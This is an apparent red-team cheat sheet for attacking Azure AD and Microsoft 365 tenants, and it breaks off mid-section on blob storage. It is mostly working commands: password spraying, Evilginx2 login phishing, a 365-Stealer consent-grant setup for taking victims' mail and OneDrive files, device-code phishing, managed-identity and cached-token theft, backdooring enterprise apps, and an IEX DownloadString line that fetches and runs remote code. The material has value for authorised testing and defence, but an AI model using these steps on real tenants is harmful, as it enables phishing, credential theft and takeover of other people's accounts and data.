* [Graph API Refresh Token](#graph-api-refresh-token)
* [Graph API Access Token](#graph-api-access-token)
* [Terminology](#terminology)
* [Training](#training)
* [Enumeration](#enumeration)
* [Enumerate valid emails](#enumerate-valid-emails)
* [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
* [Enumerate tenant with Azure AD Powershell](#enumerate-tenant-with-azure-ad-powershell)
* [Enumerate tenant with Az Powershell](#enumerate-tenant-with-az-powershell)
* [Enumerate tenant with az cli](#enumerate-tenant-with-az-cli)
* [Enumerate manually](#enumerate-manually)
* [Enumeration methodology](#enumeration-methodology)
* [Phishing with Evilginx2](#phishing-with-evilginx2)
* [Illicit Consent Grant](#illicit-consent-grant)
* [Register Application](#register-application)
* [Configure Application](#configure-application)
* [Setup 365-Stealer (Deprecated)](#setup-365-stealer-deprecated)
* [Setup Vajra](#setup-vajra)
* [Device Code Phish](#device-code-phish)
* [Token from Managed Identity](#token-from-managed-identity)
* [Azure API via Powershell](#azure-api-via-powershell)
* [Azure API via Python Version](#azure-api-via-python-version)
* [Get Tokens](#get-tokens)
* [Use Tokens](#use-tokens)
* [Refresh Tokens](#refresh-token)
* [Stealing Tokens](#stealing-tokens)
* [Stealing tokens from az cli](#stealing-tokens-from-az-cli)
* [Stealing tokens from az powershell](#stealing-tokens-from-az-powershell)
* [Add Credentials to All Enterprise Applications](#add-credentials-to-all-enterprise-applications)
* [Spawn SSH for Azure Web App](#spawn-ssh-for-azure-web-app)
* [Azure Storage Blob](#azure-storage-blob)
* [Enumerate blobs](#enumerate-blobs)
* [SAS URL](#sas-url)
* [List and download blobs](#list-and-download-blobs)
* [Runbook Automation](#runbook-automation)
* [Create a Runbook](#create-a-runbook)
* [Persistence via Automation accounts](#persistence-via-automation-accounts)
* [Virtual Machine RunCommand](#virtual-machine-runcommand)
* [KeyVault Secrets](#keyvault-secrets)
* [Pass The Certificate](#pass--the-certificate)
* [Pass The PRT](#pass-the-prt)
* [Intunes Administration](#intunes-administration)
* [Dynamic Group Membership](#dynamic-group-membership)
* [Administrative Unit](#administrative-unit)
* [Deployment Template](#deployment-template)
* [Application Proxy](#application-proxy)
* [Conditional Access](#conditional-access)
* [Azure AD](#azure-ad)
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
* [Password Spray](#password-spray)
* [Convert GUID to SID](#convert-guid-to-sid)
* [Azure AD Connect ](#azure-ad-connect)
* [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction)
* [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync)
* [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket)
* [References](#references)
## Azure Recon Tools
* [**BloodHoundAD/AzureHound**](https://github.com/BloodHoundAD/AzureHound) - Azure Data Exporter for BloodHound
```powershell
# First, retrieve a refresh token (-r) if username/password isn't supported.
# An access token (-j) isn't recommended because it can expire before the end of azurehound execution
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$rt = (Get-AADIntAccessToken -ClientId "1950a258-227b-4e31-a9cf-717495945fc2" -Resource "https://graph.microsoft.com" -PRTToken (Get-AADIntUserPRTToken) -IncludeRefreshToken $true)[1]
# Second, launch azurehound collector
./azurehound -r "0.AXMAMe..." list --tenant "753a0bc5-..." -o output.json
## Connects on your Azure account using the refresh token provided and the tenant of the account
## and collects every possible objects in contoso.microsoft.com. Results are stored in json
./azurehound -r $rt --tenant "contoso.onmicrosoft.com" list -o azurehound-scan.json --tenant "contoso.microsoft.com"
## Sets configuration file with connection variables and other things (not required)
./azurehound configure
## Collects every objects on all accessible tenants using username/password and prints it to stdout
./azurehound -u "MattNelson@contoso.onmicrosoft.com" -p "MyVerySecurePassword123" --tenant "contoso.onmicrosoft.com" list
## Collects every objects on a specific tenant using username/password and stores it in json
./azurehound -u "phisheduser@contoso.onmicrosoft.com" -p "Password1" list -o initial-scan.json --tenant "contoso.onmicrosoft.com"
## Collects every objects on all tenants accessible using Service Principal secret
./azurehound -a "6b5adee8-..." -s "<secret>" --tenant "contoso.onmicrosoft.com" list
## Collects AzureAD info (all except AzureRM info) using JWT access token
./azurehound -j "ey..." --tenant "contoso.onmicrosoft.com" list az-ad
## Collects every users using refresh token
./azurehound -r "0.ARwA6Wg..." --tenant "contoso.onmicrosoft.com" list users
# List of collections
az-ad: Collect all information available at the AzureAD tenant level. In most tenants, all users have the ability to read all this information by default.
az-rm: Collect all information available at the AzureRM subscription level. Users do not by default have read access to any of this information.
apps: Collects AzureAD application registration objects.
devices: Collects AzureAD devices regardless of join type.
groups: Collects AzureAD security-enabled groups, both role eligible and non role eligible.
key-vaults: Collects AzureRM key vaults.
management-groups: Collects AzureRM management group objects
resource-groups: Collects AzureRM resource group objects
roles: Collects AzureAD admin role objects
service-principals: Collects AzureAD service principals
subscriptions: Collevts AzureRM subscriptions
tenants: Collevts AzureAD tenant objects
users: Collects AzureAD users, including any guest users in the target tenant.
virtual-machines: Collects AzureRM virtual machines
# GUI access
bolt://localhost:7687
Username: neo4j
Password: BloodHound
# Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/
# Cypher query examples:
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname
```
* [**BloodHoundAD/BARK**](https://github.com/BloodHoundAD/BARK) - BloodHound Attack Research Kit
```ps1
. .\BARK.ps1
$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com"
$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com"
$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress
```
* [**ROADTool**](https://github.com/dirkjanm/ROADtools) - The Azure AD exploration framework.
```powershell
pipenv shell
roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
roadrecon gather
roadrecon gui
```
* [**Azure/StormSpotter**](https://github.com/Azure/Stormspotter) - Azure Red Team tool for graphing Azure and Azure Active Directory objects
```powershell
# session 1 - backend
pipenv shell
python ssbackend.pyz
# session 2 - frontend
cd C:\Tools\stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# session 3 - collector
pipenv shell
az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli
# Web access on http://localhost:9091
Username: neo4j
Password: BloodHound
Server: bolt://localhost:7687
```
* [**Microsoft Portals**](https://msportals.io/) - Microsoft Administrator Sites
* [**nccgroup/Azucar**](https://github.com/nccgroup/azucar.git) : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
```powershell
# You should use an account with at least read-permission on the assets you want to access
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
* [**FSecureLABS/Azurite Explorer**](https://github.com/FSecureLABS/Azurite) and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
```powershell
git submodule init
git submodule update
PS> Import-Module AzureRM
PS> Import-Module AzuriteExplorer.ps1
PS> Review-AzureRmSubscription
PS> Review-CustomAzureRmSubscription
```
* [**NetSPI/MicroBurst**](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
```powershell
PS C:> Import-Module .\MicroBurst.psm1
PS C:> Import-Module .\Get-AzureDomainInfo.ps1
PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
```
* [**cyberark/SkyArk**](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
Require:
- Read-Only permissions over Azure Directory (Tenant)
- Read-Only permissions over Subscription
- Require AZ and AzureAD module or administrator right
```powershell
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AzureStealth
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
PS C> Scan-AzureAdmins
* [**hausec/PowerZure**](https://github.com/hausec/PowerZure) - PowerShell framework to assess Azure security
```powershell
# Require az module !
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
## Authenticating to the Microsoft Graph API in PowerShell
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
| Name | GUID |
|----------------------------|--------------------------------------|
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
### Graph API Refresh Token
Authenticating to the Microsoft Graph API in PowerShell
```ps1
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
```
### Graph API Access Token
This request require getting the Refresh Token.
```ps1
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
```
## Terminology
> Basic Azure AD terminologies
* **Tenant**: An instance of Azure AD and represents a single organization.
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
## Training
* AzureGoat : A Damn Vulnerable Azure Infrastructure - https://github.com/ine-labs/AzureGoat
## Enumeration
### Enumerate valid emails
> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
* Validate email
```powershell
PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt
admin@<TENANT NAME>.onmicrosoft.com - VALID
root@<TENANT NAME>.onmicrosoft.com - INVALID
test@<TENANT NAME>.onmicrosoft.com - VALID
contact@<TENANT NAME>.onmicrosoft.com - INVALID
```
* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
#### Password spraying
```powershell
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbose
```
### Enumerate Azure Subdomains
```powershell
PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain
```
### Enumerate tenant with Azure AD Powershell
```powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzureAD -Credential $creds
PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
```
### Enumerate tenant with Az Powershell
```powershell
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzAccount -Credential $creds
PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault
```
### Enumerate tenant with az cli
```powershell
PS> az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list
```
### Enumerate manually
* Federation with Azure AD or O365
```powershell
https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1
https://login.microsoftonline.com/getuserrealm.srf?login=root@<TENANT NAME>.onmicrosoft.com&xml=1
```
* Get the Tenant ID
```powershell
https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration
https://login.microsoftonline.com/<TENANT NAME>.onmicrosoft.com/.well-known/openid-configuration
```
## Enumeration methodology
```powershell
# Check Azure Joined
PS> dsregcmd.exe /status
+----------------------------------------------------------------------+
| Device State |
+----------------------------------------------------------------------+
AzureAdJoined : YES
EnterpriseJoined : NO
DomainJoined : NO
Device Name : jumpvm
# Enumerate resources
PS Az> Get-AzResource
# Enumerate role assignments
PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/<VM-NAME>`
# Get info on a role
PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get info user
PS AzureAD> Get-AzureADUser -ObjectId <ID>
PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME>.onmicrosoft.com | fl *
# List all groups
PS AzureAD> Get-AzureADGroup -All $true
# Get members of a group
PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>'
PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName
# Get Azure AD information
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>.onmicrosoft.com
PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com # Get Tenant ID
PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName <DOMAIN> # Get all the information
# Check if there is a user logged-in to az cli
PS> az ad signed-in-user show
# Check AppID Alternative Names/Display Name
PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl
# Get all application objects registered using the current tenant
PS AzureAD> Get-AzureADApplication -All $true
# Get all details about an application
PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl *
# List all VM's the user has access to
PS Az> Get-AzVM
PS Az> Get-AzVM | fl
# Get all function apps
PS Az> Get-AzFunctionApp
# Get all webapps
PS Az> Get-AzWebApp
PS Az> Get-AzWebApp | select-object Name, Type, Hostnames
# List all storage accounts
PS Az> Get-AzStorageAccount
PS Az> Get-AzStorageAccount | fl
# List all keyvaults
PS Az> Get-AzKeyVault
```
## Phishing with Evilginx2
```powershell
PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets
: config domain username.corp
: config ip 10.10.10.10
: phishlets hostname o365 login.username.corp
: phishlets get-hosts o365
Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine
# copy certificate and enable the phishing
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key
: phishlets enable o365
# get the phishing URL
: lures create o365
: lures get-url 0
```
## Illicit Consent Grant
> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.
Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole`
* **Disable user consent** : Users cannot grant permissions to applications.
* **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
* **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent,
* **Custom app consent policy**
### Register Application
1. Login to https://portal.azure.com > Azure Active Directory
2. Click on **App registrations** > **New registration**
3. Enter the Name for our application
4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"**
5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://<DOMAIN/IP>:<PORT>/login/authorized`.
6. Click **Register** and save the **Application ID**
### Configure Application
1. Click on `Certificates & secrets`
2. Click on `New client secret` then enter the **Description** and click on **Add**.
3. Save the **secret**'s value.
4. Click on API permissions > Add a permission
5. Click on Microsoft Graph > **Delegated permissions**
6. Search and select the below mentioned permissions and click on Add permission
* Contacts.Read
* Mail.Read / Mail.ReadWrite
* Mail.Send
* Notes.Read.All
* Mailboxsettings.ReadWrite
* Files.ReadWrite.All
* User.ReadBasic.All
* User.Read
### Setup 365-Stealer (Deprecated)
:warning: Default port for 365-Stealer phishing is 443
- Run XAMPP and start Apache
- Clone 365-Stealer into `C:\xampp\htdocs\`
* `git clone https://github.com/AlteredSecurity/365-Stealer.git`
- Install the requirements
* Python3
* PHP CLI or Xampp server
* `pip install -r requirements.txt`
- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
- Edit `C:/xampp/htdocs/yourvictims/index.php` if needed
- Disable IP whitelisting `$enableIpWhiteList = false;`
- Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
- **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered.
- **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created.
- **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https://<Domain/IP>/login/authorized`
- **Macros Location**: Path of macro file that we want to inject.
- **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
- **Delay**: Delay the request by specifying time in seconds while stealing
- Create a Self Signed Certificate to use HTTPS
- Run the application either click on the button or run this command : `python 365-Stealer.py --run-app`
- `--no-ssl`: disable HTTPS
- `--port`: change the default listening port
- `--token`: provide a specific token
- `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token
- Find the Phishing URL: go to `https://<IP/Domain>:<Port>` and click on **Read More** button or in the console.
### Setup Vajra
> Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://github.com/TROUBLE-1/Vajra
**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu".
## Device Code Phish
Requirements:
* Azure AD / Office 365 E3 Subscription
Exploitation:
* Import TokenTactics: `PS C:\TokenTactics> Import-Module .\TokenTactics.psd1`
* Request a device code for the Azure Graph API using TokenTactics: `Get-AzureToken -Client Graph`
* Replace `<REPLACE-WITH-DEVCODE-FROM-TOKENTACTICS>` in the [phishing email](https://github.com/rvrsh3ll/TokenTactics/blob/main/resources/DeviceCodePhishingEmailTemplate.oft)
* Leave TokenTactics running in the PowerShell window and send the phishing email
* Targeted user will follow the link to https://microsoft.com/devicelogin and complete the Device Code form
* Enjoy your **Access Token** & **Refresh Token**
## Token from Managed Identity
> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.
Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env`
Most of the time, you want a token for one of these resources:
* https://storage.azure.com
* https://vault.azure.net
* https://graph.microsoft.com
* https://management.azure.com
### Azure API via Powershell
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Then query the Azure REST API to get the **subscription ID** and more .
```powershell
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# List resources and check for runCommand privileges
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
### Azure API via Python Version
```py
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
print("[+] Management API")
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
```
or inside a Python Function:
```py
import logging, os
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)
```
### Get Tokens
:warning: The lifetime of a Primary Refresh Token is 14 days!
```powershell
# az cli - get tokens
az account get-access-token
az account get-access-token --resource-type aad-graph
# or Az
(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT
```
### Use Tokens
> Tokens contain all the claims including that for MFA and Conditional Access
* Az Powershell
```powershell
PS C:\Tools> $token = 'eyJ0e..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID>
# Access Token and Graph Token
PS C:\Tools> $token = 'eyJ0eX..'
PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
PS C:\Tools> Get-AzResource
# ERROR: 'this.Client.SubscriptionId' cannot be null.
# ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
```
* AzureAD
```powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
$AADToken = 'eyJ0…'
Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCOUNT-ID>
```
### Refresh Tokens
* https://github.com/ConstantinT/Lantern
```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename <Name> --outpfxfile <Some path>
Lantern.exe token --username <Username> --password <Password>
Lantern.exe token --refreshtoken <RefreshToken>
Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password )
```
* https://github.com/rvrsh3ll/TokenTactics
```powershell
Import-Module .\TokenTactics.psd1
CommandType Name Version Source
----------- ---- ------- ------
Function Clear-Token 0.0.1 TokenTactics
Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics
Function Forge-UserAgent 0.0.1 TokenTactics
Function Get-AzureToken 0.0.1 TokenTactics
Function Get-TenantID 0.0.1 TokenTactics
Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics
Function Parse-JWTtoken 0.0.1 TokenTactics
Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics
Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics
Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics
Function RefreshTo-GraphToken 0.0.1 TokenTactics
Function RefreshTo-MAMToken 0.0.1 TokenTactics
Function RefreshTo-MSGraphToken 0.0.1 TokenTactics
Function RefreshTo-MSManageToken 0.0.1 TokenTactics
Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics
Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics
Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics
Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics
Function RefreshTo-OutlookToken 0.0.1 TokenTactics
Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
```
## Stealing Tokens
* Get-AzurePasswords
```powershell
Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords -Verbose | Out-GridView
```
### Stealing tokens from az cli
* az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\<username>\.Azure`
* azureProfile.json in the same directory contains information about subscriptions.
### Stealing tokens from az powershell
* Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\<username>\.Azure`
* It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json**
* Users can save tokens using `Save-AzContext`
## Add credentials to all Enterprise Applications
```powershell
# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose
# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
```
## Spawn SSH for Azure Web App
```powershell
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
```
## Azure Storage Blob
* Blobs - `*.blob.core.windows.net`
* File Services - `*.file.core.windows.net`
* Data Tables - `*.table.core.windows.net`
* Queues - `*.queue.core.windows.net`
### Enumerate blobs
```powershell
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
```
### SAS URL
* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
* Click on **Open Connect Dialog** in the left menu.
* Select **Blob container**.
* On the **Select Authentication Method** page
* Select **Shared access signature (SAS)** and click on Next
* Copy the URL in **Blob container SAS URL** field.
:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
### List and download blobs
```powershell
PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
